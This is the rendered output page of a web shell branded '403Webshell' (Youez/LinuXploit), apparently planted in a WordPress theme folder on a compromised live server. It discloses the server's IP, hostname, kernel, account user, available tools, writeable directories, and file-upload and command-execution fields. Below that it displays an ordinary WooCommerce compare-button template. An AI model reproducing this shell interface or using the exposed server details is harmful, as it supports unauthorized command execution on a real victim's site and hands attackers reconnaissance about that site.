403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.74
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/azfilmst/www/wp-content/themes/frames/woocommerce/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/azfilmst/www/wp-content/themes/frames/woocommerce/yith-compare-button.php
<?php
/**
 * Woocommerce Compare button
 *
 * @author  YITH <plugins@yithemes.com>
 * @package YITH\Compare
 * @version 1.1.4
 */

/**
 * Template variables:
 *
 * @var $style string
 * @var $added bool
 * @var $product_id int
 * @var $button_target string
 * @var $compare_url string
 * @var $compare_classes string
 * @var $compare_label string
 */
defined( 'YITH_WOOCOMPARE' ) || exit; // Exit if accessed directly.

$haru_product_add_to_compare = haru_get_option( 'haru_product_add_to_compare', '1' );
if ( $haru_product_add_to_compare == '0' ) {
	return;
}

?>
	<div class="product-button product-button--compare">
		<a 
			href="<?php echo esc_url( $compare_url ); ?>"
			class="<?php echo esc_attr( $compare_classes ); ?> haru-custom"
			data-product_id="<?php echo (int) $product_id; ?>"
			target="<?php echo esc_attr( $button_target ); ?>"
			rel="nofollow"
		>
			<?php if ( 'checkbox' === $style ) : ?>
				<input type="checkbox" <?php checked( $added ); ?>>
			<?php endif; ?>
			<span class="haru-tooltip button-tooltip"><?php echo esc_html( $compare_label ); ?></span>
		</a>
	</div>
<?php
wp_enqueue_script( 'yith-woocompare-main' );

Youez - 2016 - github.com/yon3zu
LinuXploit